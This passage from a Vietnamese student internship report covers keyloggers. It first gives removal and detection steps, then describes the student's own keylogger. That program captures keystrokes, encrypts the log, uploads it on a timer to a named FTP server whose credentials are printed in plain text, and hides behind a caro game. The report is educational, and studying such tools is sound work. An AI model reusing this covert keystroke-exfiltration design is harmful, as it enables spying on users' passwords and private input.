hệ điều hành.  Hoặc chúng ta có thể download một số phần mềm chống Keylogger về để bảo vệ Tránh keylogger Khi nghi ngờ có keylogger mà không có điều kiện kiểm tra. Diệt tập tin hook, chương trình theo dõi. Sử dụng một chương trình task manager (có thể gọi ra bằng tổ hợp phím tắt Ctrl+Alt+Del trên Windows) xem các chương trình đang chạy. Nếu thấy process nào lạ (đặc biệt đối với Windows XP là các tập tin được chạy dưới User name không phải là System) chưa thấy bao giờ hãy tắt (end, kill) nó đi. Lưu ý cách này có thể làm treo hệ thống nếu đó là một tập tin cần cho hệ điều hành vì vậy người dùng cần có kinh nghiệm. Che mắt keylogger Keylogger hoạt động trên nguyên tắc theo dõi bàn phím (monitoring keyboard) chỉ có rất ít có khả năng theo dõi chuột (dù có theo dõi được cũng không chính xác lắm) và có khả năng capture clipboard. Vì vậy dù hệ thống có keylogger (trừ các keylogger có khả năng quay phim) có thể được vượt qua bằng cách:  Sử dụng On-Screen Keyboard (bàn phím trên màn hình) (trong windows gọi ra bằng Start/Run/osk) để nhập cách dữ liệu nhạy cảm (mật khẩu, thẻ tín dụng) bằng cách click chuột. Vì đây là cách nhập liệu nằm ngoài vùng theo dõi của các tập tin hook (vì không qua bàn phím) nên Keylogger sẽ không ghi nhận được thông tin gì.
  • 9. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 6 Cách này dễ dùng nhưng người khác có thể trông thấy thông tin được nhập vào (tiếng lóng thường dùng là đá pass) do đó chúng ta mất password.  Sử dụng Copy’n’Paste (chép và dán): Tìm một đoạn văn bản nào đó có các từ nằm trong đoạn thông tin muốn giấu (ví dụ: Mật khẩu là password chúng ta hãy tìm một đoạn văn có các từ p, a, s, w, o, r, d (ví dụ to day Is a hot day, peter feel bad he want a cool drink or a ice-cream) copy từng chữ một và dán nó thành chữ password rồi gửi đi. Cách này có ưu điểm là dễ dùng nhưng khá rắc rối và kém hiệu quả nhất bởi vì nhiều Keylogger có chức năng theo dõi clipboard.  Sử dụng type’n’Click (bấm và nhấn): Vì bản thân một Keylogger thông thường không thể theo dõi các bấm chuột. Ví dụ muốn đánh một đoạn thông tin là password, đầu tiên hãy đánh một số từ có trong nó: psr rồi sử dụng chuột (không dùng bàn phím) chen ngang vào p và s đánh chữ a giữa s và r đánh chữ swo sau r là chữ d. Dòng thông tin nhập vào password nhưng trong tập tin nhật ký log keylogger ghi lại được là psraswod. Cách này khá hay nhưng không phù hợp với các thông tin dài vì dễ gây quên. Chống keylogger Phương pháp đơn giản Nhanh hiệu quả nhất là diệt trừ toàn bộ các chương trình đang theo dõi bàn phím đi. Một số chương trình như là Keylogger Killer của Totto quét các process tìm các chương trình theo dõi cùng lúc quá nhiều ứng dụng (keylogger dùng cách này thường bằng một tập tin *.dll) rồi đề nghị bạn tắt nó đi. Thế nhưng một số chương trình tốt (như các chương trình giúp gõ bàn phím Unikey, Vietkey) cũng dùng cách này nên có thể gây diệt lầm. Phương pháp nâng cao Sử dụng một chương trình chống spyware chuyên dụng. Các chương trình này sẽ tự động quét, phân tích các chương trình đang chạy cũng như trên máy để từ đó nhận biết các chương trình keylogger và tự động diệt. Một số chương trình còn có chế độ bảo vệ thời gian thực (Real-Time Protection) giúp bảo vệ chúng ta chống ngay khi spyware chuẩn bị cài vào máy. Nhưng điểm gây khó khăn nhất của cách dùng này là đa số các chương trình sử dụng tốt đều phải trả tiền (ví dụ như Spyware Doctor của Pctools, McAfee Antispywarecủa McAfee, Bitdefender…) Tuy thế vẫn có một số chương trình miễn phí và khá tốt như Ad-Aware SE, Spybot S&D, Spyblaster tuy rằng nó lâu lâu vẫn bắt hụt một số chương trình đặc biệt, nhưng nếu dùng kết hợp (cùng lúc cả hai hoặc cả ba) thi hiệu quả hầu như là hoàn toàn.( Nếu chúng ta chạy 2-3 chương trình không phù hợp với nhau sẽ gây ra xung đột phần mêm chống virus)
  • 10. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 7 Trong một số trường hợp, người dùng chọn cách chống Keylogger theo cách "sống chung với lũ". Lấy ví dụ về Keyscrambler là một trong số những phần mềm bảo vệ máy tính theo phương pháp này. Mọi dữ liệu về phím bấm được truyền đến Hệ điều hành và được Keyscrambler mã hóa trước (do keyscrambler tác động trực tiếp từ phần lõi Kennel), sau đó mới đến các phần mềm khác (bao gồm cả keylogger) và cuối cùng được giải mã lại cho đúng với các phím được gõ. Phương pháp này có thể vô hiệu hóa đa số các loại keylogger hiện tại, không yêu cầu người dùng cập nhật các trình anti-keylogger thường xuyên. Tuy nhiên, nó cũng có những điểm yếu riêng. Nếu keylogger được viết để ghi lại các phím sau khi chúng được giải mã (ví dụ: Cài Keylogger như là một addon của trình duyệt...) thì xem như đã vô hiệu hóa được keyscrambler, và nó cũng chỉ hỗ trợ một số phần mềm nhất định. Khi dùng chung với các phần mềm gõ tiếng Việt, người dùng sẽ phải tắt KeyScramble đi, đây là một sự phiền phức lớn dù nó minh chứng cho khả năng bảo mật của phần mềm này. 1.6 Một số cách tìm diệt và xóa Keylogger hiệu quả với một số hệ điều hành nhất định và Keylogger phổ biến. Cách tìm và tiêu diệt Perfect Keylogger : * Cách tìm : Yêu cầu : Chỉ áp dụng được với Windows 2K và XP (Windows 9x không hỗ trợ) 1. Vào mục Start -> Run gõ : cmd 2. Ở màn hình Dos gõ : tasklist /m bpkhk.dll Nếu không có Keylogger chúng ta sẽ nhận được 1 thông báo lỗi : Info: Không tasks running with the specified criteria. Nếu có Keylogger màn hình sẽ hiển thị : Image Name PID Modules diễn giải explorer 468 bpkhk.dll <--- quen thuộc DUMeter 1444 bpkhk.dll <--- quen thuộc ctfmon 1548 bpkhk.dll <--- quen thuộc acrotray 1820 bpkhk.dll <--- quen thuộc notepad 1956 bpkhk.dll <--- quen thuộc firefox 2012 bpkhk.dll <--- quen thuộc bdmcon 1744 bpkhk.dll <--- quen thuộc TOTALCMD 2396 bpkhk.dll <--- quen thuộc bpk 2812 bpkhk.dll <--- Keylogger Sở dĩ chúng ta tìm tập tin bpkhk.dll là vì đây chính là tập tin Perfect Keylogger dùng để ghi lại thao tác trên máy tính. * Cách diệt : Đã tìm được tên đích danh rồi chúng ta hãy thực hiện các bước sau để tiêu diệt :
  • 11. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 8 1. Vào mục Start -> Run gõ : cmd 2. Ở màn hình Dos gõ : taskkill /f /im bpk /t 3. Tắt tất cả các chương trình đang chạy hiện thời (Explorer, bdswitch, DUMeter ) 4. Mở Explorer vào thư mục WindowsSystem32 xóa các tập tin bpk, bpkhk.dll, bpkwb.dll ... Cách tìm và tiêu diệt Easy Keylogger Sau khi cài đặt xong và khởi động Easy Keylogger có 1 biểu tượng chạy ở system tray. Chức năng chính của Easy Keylogger : + Cho phép đặt phím tắt, mặc định : Shift + Ctrl + alt +V + Tập tin dùng để Capture thao tác : Ekey.dll + Chỉ có thể Capture thao tác, không có chế độ chạy ẩn, không có chức năng đính kèm Keylogger * Ghi chú nhỏ : Có thể máy tính của chúng ta đang chạy rất nhiều chương trình ứng dụng, nên khi dùng lệnh : tasklist /m Chúng ta sẽ khó theo dõi được, để đạt hiệu quả cao chúng ta hãy xuất vào 1 tập tin tạm (stout) ra 1 tập tin .txt Dùng lệnh : 1. Vào mục Start -> Run gõ : cmd 2. Ở màn hình Dos gõ : tasklist /m > ctemp.txt (Ở đây chúng ta ví dụ xuất vào ổ đĩa C với tập tin temp.txt) * Cách tìm : Yêu cầu : Chỉ áp dụng được với Windows 2K và XP (Windows 9x không hỗ trợ) 1. Vào mục Start -> Run gõ : cmd 2. Ở màn hình Dos gõ : tasklist /m Ekey.dll Nếu không có Keylogger bạn sẽ nhận được 1 thông báo lỗi : INFO: Không tasks running with the specified criteria. Nếu có Keylogger màn hình sẽ hiển thị : Image Name PID Modules Diễn giải TOTALCMD*************** ----- 2040 ----- ekey.dll <--- quen thuộc Easy Keylogger*************** -- 2340 ----- ekey.dll <--- Keylogger Sở dĩ chúng ta tìm tập tin Ekey.dll là vì đây chính là tập tin Easy Keylogger dùng để ghi lại thao tác trên máy tính. * Cách diệt : (Lưu ý ở đây sẽ có nhiều cách diệt khỏi Process) Đã tìm được tên đích danh rồi chúng ta hãy thực hiện các bước sau để tiêu diệt : 1. Cách diệt thông thường :
  • 12. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 9 + Vào mục Start -> Run gõ : cmd + Ở màn hình Dos gõ : taskkill /f /im Easy Keylogger*************** /t ERROR: Invalid Argument/Option - 'Key'. 2. Cách diệt sử dụng wildcard : + IProgram Files>taskkill /f /im EasyKe~1*************** /t ERROR: The process "EasyKe~1***************" not found. 3. Cách diệt sử dụng được : + Vào mục Start -> Run gõ : cmd + Ở màn hình Dos gõ : taskkill /f /fi "pid ge 2340" /im * Giải thích : Để hiểu được chúng ta hãy xem lại phía trên khi chúng ta tìm Ekey.dll Windows đã phát hiện ra được rằng Easy Keylogger đang chạy ở thread 2340 đúng không . Đây là cách dùng để loại bỏ tên tập tin dài. 4. Tắt tất cả các chương trình đang chạy hiện thời. 5. Mở Explorer tìm và xóa các tập tin Easy Keylogger***************, Ekey.dll Cách tìm và tiêu diệt Active Keylogger Sau khi cài đặt xong và khởi động Active Key Logger có 1 biểu tượng chạy ở system tray. Chức năng bên trong của Active Keylogger : - Tập tin dùng để Capture : smode.dll, CMD16.dll. - Chức năng Security : (cho phép ẩn hoàn toàn trên hệ thống) + Disable Task Manager + Remove Shortcut from Desktop + Remove Shortcut from Start Thực đơn + Remove Active Keylogger from Uninstall List - Stealth Mode : Cho phép chạy ẩn Phân tích sơ bộ về Active Keylogger : - Có khả năng Capture tất cả các thao tác trên máy tính. - Không có khả năng tự đính kèm, tuy nhiên vẫn có thể dùng một số chương trình khác để đính kèm vào được - Cho phép gởi tập tin log qua email (mặc định port 25), tập tin log có tên *.kl (có thể thay đổi được) Cách diệt : Chúng ta hãy dùng cách tìm và diệt giống như của Easy Keylogger, vì Active Key Logger cũng là 1 tập tin có tên dài quá 8 ký tự
  • 13. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 10 CHƯƠNG II:GIỚI THIỆU CHƯƠNG TRÌNH KEYLOGGER 2.1 Các kiến thức liên quan để phát triển chương trình Keylogger 2.1.1 Tìm hiểu về hàm xác định phím đã được ấn. Sử dụng hàm : GetAsyncKeyState() để lấy thông tin phím đã được bấm hàm này yêu cầu thư viên: User32.lib Header trong lập trinh C++ yêu cầu: Winuser.h (include Windows.h) Cú pháp như sau: SHORT WINAPI GetAsyncKeyState( _In_ int vKey ); vKey [in]: Kiểu : int Giá trị trả về kiểu SHORT. Hàm này cho biết tình trạng của một phím (Có được ấn hay không…). GetAsyncKeyState(character)==-32767 giá trị để kiểm tra xem đã có phím nào được ấn chưa. Nếu có thì sẽ có giá trị bằng -32767. Tiếp theo sau đó là xác định phím đã được ấn trong một vòng lặp .Phím ấn sẽ được ghi vào file log. 2.1.2 Tìm hiểu về thuật toán mã hóa file Log Chương trình Keylogger em viết có sử dụng mã hóa cổ điển, chính xác là mã hóa thay thế. Trong chương trình có sử Key mặc định để mã hóa là: 6784354. Đây là một cách mã hóa đơn giản và tốn ít tài nguyên xử lý. Mã hóa và giải mã sẽ rất nhanh. Chi tiết mã hóa sẽ như sau: Sau khi bắt được các phím đã ấn (Keypress). Keypress này sẽ được đổ vào 1 file chưa mã hóa. Ngay lập tức ký tự này sẽ được cộng thêm một giá trị nữa đó là khóa do người dùng nhập vào. Kết quả của việc cộng này sẽ được đổ vào file log mã hóa. Mặc dù hơi rắc rối cho việc tạo 2 file nhưng không ảnh hưởng nhiều tới tốc độ xử lý hay chiếm tài nguyên lớn cho máy chính của chúng ta. 2.1.3 Tìm hiểu một số hàm của Windows phục vụ cho việc upload file log tới FTP server của chúng ta. 2.1.3.1 InternetOpen function : Hàm này sử dụng thư viện Wininet.lib. InternetOpen là hàm WinInet đầu tiên được gọi bởi một ứng dụng. Nó thông báo cho các DLL Internet để khởi tạo cấu trúc dữ liệu nội bộ và chuẩn bị cho các cuộc gọi từ các ứng dụng tương lai. Khi ứng dụng kết thúc bằng cách sử dụng chức
  • 14. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 11 năng của Internet, nên gọi InternetCloseHandle để giải phóng và xử lý bất kỳ tài nguyên liên quan. Ứng dụng này có thể làm bất kỳ các cuộc gọi InternetOpen, mặc dù một cuộc gọi duy nhất là đủ. Các ứng dụng có thể cần phải xác định hành vi riêng biệt cho mỗi trường hợp InternetOpen, chẳng hạn như các máy chủ proxy khác nhau cho mỗi cấu hình. Sau khi ứng dụng gọi đã kết thúc bằng cách sử dụng HINTERNET xử lý trả về bởi InternetOpen, nó phải được đóng lại bằng cách sử dụng hàm InternetCloseHandle. Giống như tất cả các khía cạnh khác của WinInet API, chức năng này không thể được gọi một cách an toàn từ bên trong DllMain hoặc constructor và destructor của các đối tượng. Cú pháp của hàm này như sau : HINTERNET InternetOpen( _In_ LPCTSTR lpszAgent, _In_ DWORD dwAccessType, _In_ LPCTSTR lpszProxyName, _In_ LPCTSTR lpszProxyBypass, _In_ DWORD dwFlags ); Ý nghĩa giá trị của các tham số như sau : lpszAgent : Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên của ứng dụng hoặc ứng dụng gọi hàm WinInet. Tên này được sử dụng như tác nhân người dùng trong giao thức HTTP. wAccessType: Kiểu truy cập yêu cầu. Tham số này có thể là một trong những giá trị sau. INTERNET_OPEN_TYPE_DIRECT: Giải quyết tất cả các tên máy chủ . INTERNET_OPEN_TYPE_PRECONFIG: Lấy proxy hoặc cấu hình trực tiếp từ registry. INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY: Lấy proxy hoặc cấu hình trực tiếp từ người đăng ký và ngăn việc sử dụng khởi động Microsoft JScript hoặc cài đặt Internet (INS) tập tin. INTERNET_OPEN_TYPE_PROXY: Thông qua yêu cầu đến proxy trừ khi một danh sách bỏ qua proxy được cung cấp và các tên được giải quyết bỏ qua proxy. Trong trường hợp này, các chức năng sử dụng INTERNET_OPEN_TYPE_DIRECT. lpszProxyName [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên của máy chủ proxy (s) để sử dụng khi truy cập proxy được xác định bằng cách thiết lập
  • 15. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 12 dwAccessType INTERNET_OPEN_TYPE_PROXY. Không sử dụng một chuỗi rỗng, bởi vì InternetOpen sẽ sử dụng nó như là tên proxy. Các chức năng WinInet chỉ nhận ra loại CERN proxy (HTTP chỉ ) và là cửa ngõ TIS FTP ( FTP ). Nếu Microsoft Internet Explorer được cài đặt, các chức năng này cũng hỗ trợ SOCKS proxy. Yêu cầu FTP có thể được thực hiện thông qua một loại CERN chủ proxy hoặc bằng cách thay đổi chúng bằng một yêu cầu HTTP hoặc bằng cách sử dụng InternetOpenUrl . Nếu dwAccessType không được thiết lập để INTERNET_OPEN_TYPE_PROXY, tham số này được bỏ qua và phải là NULL. Để biết thêm thông tin về danh sách các máy chủ proxy, xem phần máy chủ liệt kê Proxy của Kích hoạt chức năng Internet . lpszProxyBypass [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định một danh sách tùy chọn tên máy chủ hoặc địa chỉ IP hoặc cả hai, không nên định tuyến thông qua các proxy khi dwAccessType được thiết lập để INTERNET_OPEN_TYPE_PROXY. Danh sách có thể chứa ký tự đại diện . Không sử dụng một chuỗi rỗng, bởi vì InternetOpen sẽ sử dụng nó như là danh sách bỏ qua proxy. Nếu tham số này xác định "<local> " macro thì hàm bỏ qua các proxy cho bất kỳ tên máy chủ mà không có một khoảng thời gian . Theo mặc định, WinInet sẽ bỏ qua proxy cho các yêu cầu sử dụng các tên máy " localhost", " loopback " , "127.0.0.1" , hoặc " [ :: 1 ] ". Hành vi này tồn tại bởi vì một máy chủ proxy từ xa thông thường sẽ không giải quyết được những địa chỉ đúng. Internet Explorer 9 : Chúng ta có thể loại bỏ các máy tính cục bộ từ danh sách bỏ qua proxy sử dụng các " < - loopback > " macro . Nếu dwAccessType không được thiết lập để INTERNET_OPEN_TYPE_PROXY, tham số này được bỏ qua và phải là NULL. dwFlags [in]: Tùy chọn, tham số này có thể là một sự kết hợp của các giá trị sau. INTERNET_FLAG_ASYNC: Chỉ yêu cầu không đồng bộ trên handle có nguồn gốc từ xử lý trở về từ hàm này. INTERNET_FLAG_FROM_CACHE: Không thực hiện các yêu cầu mạng. Tất cả các đơn vị được trả về từ bộ nhớ cache. Nếu các yêu cầu không có trong bộ nhớ cache, một lỗi thích hợp, chẳng hạn như ERROR_FILE_NOT_FOUND, được trả về. INTERNET_FLAG_OFFLINE: Giống INTERNET_FLAG_FROM_CACHE không thực hiện các yêu cầu mạng. Tất cả các đơn vị được trả về từ bộ nhớ cache . Nếu các yêu cầu không có trong bộ nhớ cache, một lỗi thích hợp, chẳng hạn như ERROR_FILE_NOT_FOUND được trả về.
  • 16. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 13 2.1.3.2 InternetConnect function : Hàm này sử dụng thư viện Wininet.lib Để cho các trang web FTP, InternetConnect thực sự thiết lập một kết nối tới máy chủ. Kết nối thực tế không được thành lập cho đến khi ứng dụng yêu cầu một giao dịch cụ thể . Cú pháp của hàm này như sau: HINTERNET InternetConnect( _In_ HINTERNET hInternet, _In_ LPCTSTR lpszServerName, _In_ INTERNET_PORT nServerPort, _In_ LPCTSTR lpszUsername, _In_ LPCTSTR lpszPassword, _In_ DWORD dwService, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext ); Chi tiết các tham số như sau: hInternet [in]: Handle được trả về bởi một cuộc gọi trước đến InternetOpen . lpszServerName [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên máy chủ của một máy chủ Internet. Thay vào đó, các chuỗi có thể chứa số IP của trang web, trong ASCII định dạng chấm thập phân (ví dụ , 11.0.1.45 ) . nServerPort [in]: Cổng trên máy chủ Transmission Control Protocol hoặc Internet Protocol (TCP / IP). Các flag thiết lập cho cổng được sử dụng. Dịch vụ này được thiết lập bởi giá trị của dwService. Tham số này có thể là một trong những giá trị sau. INTERNET_DEFAULT_FTP_PORT: Sử dụng cổng mặc định cho các máy chủ FTP (port 21). INTERNET_DEFAULT_GOPHER_PORT: Sử dụng cổng mặc định cho các máy chủ Gopher (port 70 ) . Lưu ý Windows XP và Windows Server 2003 R2 và trước đó chỉ . INTERNET_DEFAULT_HTTP_PORT: Sử dụng cổng mặc định cho các máy chủ HTTP ( cổng 80 ) . INTERNET_DEFAULT_HTTPS_PORT: Sử dụng cổng mặc định cho an toàn Hypertext Transfer Protocol (HTTPS) máy chủ ( cổng 443 ) . INTERNET_DEFAULT_SOCKS_PORT: Sử dụng cổng mặc định cho máy chủ SOCKS tường lửa (port 1080). INTERNET_INVALID_PORT_NUMBER: Sử dụng cổng mặc định cho các dịch vụ theo quy định của dwService
  • 17. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 14 lpszUsername [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên của người sử dụng để đăng nhập vào. Nếu tham số này là NULL, hàm sử dụng một mặc định thích hợp. Đối với các giao thức FTP, mặc định là "vô danh" . lpszPassword [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt có chứa mật khẩu sử dụng để đăng nhập vào. Nếu cả hai lpszPassword và lpszUsername là NULL, chức năng sử dụng mặc định "vô danh" mật khẩu. Trong trường hợp của FTP, mật khẩu mặc định là tên email của người dùng. Nếu lpszPassword là NULL, nhưng lpszUsername không phải là NULL, chức năng sử dụng một mật khẩu trống. dwService [in]: Loại hình dịch vụ truy cập, tham số này có thể là một trong những giá trị sau. INTERNET_SERVICE_FTP: Dịch vụ FTP. INTERNET_SERVICE_GOPHER: Dịch vụ Gopher . Lưu ý Windows XP và Windows Server 2003 R2 và trước đó chỉ . INTERNET_SERVICE_HTTP:Dich vụ HTTP. dwFlags [in]: Tùy chọn cụ thể cho các dịch vụ sử dụng nếu dwService là INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE các ứng dụng để sử dụng ngữ nghĩa FTP mặc định . dwContext [in]: Con trỏ trỏ đến một biến có chứa một giá trị ứng dụng xác định được sử dụng để xác định bối cảnh ứng dụng cho điều khiển trả về trong callbacks. 2.1.3.3 InternetWriteFile function : Hàm này sử dụng thư viện Wininet.lib Khi ứng dụng được gửi dữ liệu, nó phải gọi hàm InternetCloseHandle để kết thúc truyền dữ liệu. Lưu ý WinInet không hỗ trợ triển khai máy chủ. Ngoài ra, nó không nên được sử dụng từ một dịch vụ cho việc triển khai dịch vụ máy chủ sử dụng Microsoft Windows HTTP Services ( WinHTTP ) . Cú pháp của hàm InternetWriteFile như sau: BOOL InternetWriteFile( _In_ HINTERNET hFile, _In_ LPCVOID lpBuffer, _In_ DWORD dwNumberOfBytesToWrite, _Out_ LPDWORD lpdwNumberOfBytesWritten ); Ý nghĩa của các tham số như sau: hFile [in]: Handle được trả về từ một cuộc gọi trước để FtpOpenFile hoặc một HINTERNET xử lý gửi HttpSendRequestEx . lpBuffer [in]: Con trỏ trỏ đến một bộ đệm có chứa các dữ liệu được ghi vào tập tin dwNumberOfBytesToWrite [in]: Số byte được ghi vào tập tin.
  • 18. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 15 lpdwNumberOfBytesWritten [out]: Con trỏ trỏ đến một biến nhận được số byte ghi vào tập tin. InternetWriteFile đặt giá trị này bằng không trước khi làm bất cứ công việc hay kiểm tra lỗi . Giá trị hàm này trả về như sau : Trả về TRUE nếu hàm thành công , hoặc FALSE khác. Để có được thông tin lỗi mở rộng, gọi GetLastError. Một ứng dụng cũng có thể sử dụng InternetGetLastResponseInfo khi cần thiết. 2.1.3.4 FtpOpenFile function : Hàm này sử dụng thư viện Wininet.lib. Sau khi gọi hàm FtpOpenFile và cho đến khi gọi InternetCloseHandle, tất cả các cuộc gọi khác đến FTP và cùng một phiên xử lý sẽ thất bại và thiết lập các thông báo lỗi để ERROR_FTP_TRANSFER_IN_PROGRESS. Sau khi ứng dụng gọi đã kết thúc bằng cách sử dụng HINTERNET xử lý trả về bởi FtpOpenFile, nó phải được đóng lại bằng cách sử dụng hàm InternetCloseHandle . Chỉ có một tập tin có thể được mở trong một phiên FTP duy nhất. Do đó, không xử lý tập tin được trả về và các ứng dụng chỉ đơn giản là sử dụng FTP phiên xử lý khi cần thiết. Cú pháp hàm này như sau: HINTERNET FtpOpenFile( _In_ HINTERNET hConnect, _In_ LPCTSTR lpszFileName, _In_ DWORD dwAccess, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext ); Ý nghĩa của các tham số như sau: hConnect [in]:Handle của một phiên FTP (session). lpszFileName [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt có chứa tên của tập tin được truy cập. dwAccess [in]: Kiểu truy cập. Tham số này có thể GENERIC_READ hoặc GENERIC_WRITE, nhưng không được là cả hai. dwFlags [in]: Điều kiện trong khi truyền tải xảy ra. Ứng dụng nên chọn một loại chuyển giao và bất kỳ cờ mà chỉ ra bộ nhớ đệm của các tập tin sẽ được kiểm soát . Loại chuyển giao có thể là một trong những giá trị sau. FTP_TRANSFER_TYPE_ASCII: Chuyển các tập tin bằng cách sử dụng FTP của ASCII ( Type A) phương pháp chuyển giao. Kiểm soát và thông tin định dạng được chuyển đổi để tương đương.
  • 19. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 16 FTP_TRANSFER_TYPE_BINARY: Chuyển các tập tin bằng cách sử dụng FTP cho hình ảnh ( loại I ) phương pháp chuyển giao. Các tập tin được chuyển chính xác như nó tồn tại không thay đổi. Đây là phương pháp chuyển file mặc định . FTP_TRANSFER_TYPE_UNKNOWN: Mặc định là FTP_TRANSFER_TYPE_BINARY . INTERNET_FLAG_TRANSFER_ASCII: Truyền tập tin như ASCII. INTERNET_FLAG_TRANSFER_BINARY: Truyền các tập tin như nhị phân. Các giá trị sau được sử dụng để kiểm soát bộ nhớ đệm của tập tin. Ứng dụng có thể sử dụng một hoặc nhiều các giá trị. INTERNET_FLAG_HYPERLINK: Buộc tải lại nếu hết thời gian và không có thời gian lastmodified trở về từ máy chủ, để biết cần tải lại các mục từ mạng. INTERNET_FLAG_NEED_FILE: Một tập tin tạm thời được tạo ra nếu các tập tin không được lưu trữ. INTERNET_FLAG_RELOAD: Buộc tải về các tập tin được yêu cầu, đối tượng, hoặc danh sách thư mục từ máy chủ gốc, không phải từ bộ nhớ cache. INTERNET_FLAG_RESYNCHRONIZE: Tải lại nguồn HTTP nếu nguồn tài nguyên đã được sửa đổi kể từ lần cuối cùng nó đã được tải về. Tất cả các tài nguyên FTP được nạp lại. Windows XP và Windows Server 2003 R2 và trước đó : Nguồn Gopher cũng được nạp lại. dwContext [in]: Con trỏ trỏ đến một biến có chứa các giá trị ứng dụng định nghĩa liên kết tìm kiếm này với bất kỳ dữ liệu ứng dụng nào. Điều này chỉ được sử dụng nếu ứng dụng đã được gọi là InternetSetStatusCallback để thiết lập một chức năng trạng thái gọi lại. Giá trị trả về từ hàm này: Trả về một handle nếu thành công, hoặc NULL nếu khác. Để lấy một thông báo lỗi cụ thể gọi GetLastError . 2.2 Kết quả của chương trình keylogger Ý tưởng :Lấy được thông tin nhập từ bàn phím. Sau khi lấy được các ký tự này sẽ được ghi vào trong một file (thường được hiểu là file log). File này sẽ được mã hóa dựa vào thuật toán đối xứng và theo kiểu mã hóa thay thế. Khi user bấm 1 phím bất kỳ trên bàn phím ký tự này sẽ được đổ vào một file chưa mã hóa sau đó dựa vào file này từng ký tự sẽ được đổ vào file mã hóa dựa vào mã hóa thay thế và key mặc định mang giá tri INT. Tới đây chương trình Keylogger đã tạo được 1 file log mã hóa. Việc tiếp theo đó là sử dụng file log này gửi về một FTP server chúng ta có đăng ký tài khoản sẵn tại FTP server. Để file log có thể gửi đến FTP server của chúng ta cần cung cấp URL của FTP server, username, password. Trong chương trình này chúng ta có sử FTP server: ftp.driverhq.com Username:freedomelem
  • 20. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 17 Password:123456 Mục đích của việc đăng ký tài khoản là để lấy được file log gửi đến FTP server và chúng ta có thể đọc thông tin bất kỳ đâu có internet. File log được gửi đến FTP Server với tên là Ngày_tháng_giờ _phút _giây để tiện cho việc theo dõi ngày ghi và giờ ghi file log. Ví du: Logdate_29Jul_time_114112.txt Một đăc điểm của chương trình nữa đó là có thể thay đổi thời gian gửi về FTP Server của chúng ta. Cứ đến khoảng thời gian đó thì file log sẽ được gửi về FTP server. Vì chương trình hiện tạo có mục đích để theo dõi và bắt các lỗi nên em có làm giao diện để thao tác và truyền tham số đầu vào.
  • 21. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 18 CHƯƠNG III .DEMO CHƯƠNG TRÌNH KEYLOGGER 3.1 Giao diện trò chơi che giấu chương trình Keylogger Một game đơn giản để che giấu chương trình Keylogger. Hình3.1.Giao diện trò chơi che giấu Keylogger Do em viết trên DevC++ nên trò chơi chỉ ở mức đơn giản và không có đồ họa đẹp mắt. Mục đích của việc này là để che giấu mã nguồn của Keylogger và do thời gian thực tập quá ngắn em hiện chưa làm được việc vừa chạy game này song song với chạy Keylogger. Để vào giao diện chính của chương trình Keylogger cần bấm một chuỗi dãy số giống như một chìa khóa hay còn gọi là key. Key em đặt mặc định là: 543678. Sau khi nhập dãy số này và nhấn Enter sẽ vào chương trình Keylogger bình thường. Keylogger có giao diện chính như hình 3.2 bên dưới.
  • 22. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 19 3.2 Giao diện chính của chương trình keylogger Chương trình sẽ có giao diện chính như sau : Hình 3.2 .Giao diện chính của chương trình Keylogger Thoạt nhìn giao diện này chúng ta có thể thấy được sơ lược các chức năng của chương trình. Chương trình có ba chức năng chính. Chức năng thứ nhất gồm có khởi tạo file cho file log và ftp server để nhận file log. Chức năng thứ 2 là để chạy Keylogger và chức năng cuối cùng là để quay lại trò chơi cờ caro. 3.3 Thao tác thiết lập cho ftp Server Sau khi chọn chức năng 1 thì một cửa sổ mới sẽ được hiện ra để thao tác các chức năng trên FTP server. Giao diện chi tiết như sau: Hình 3.3.Giao diện tạo ftp server
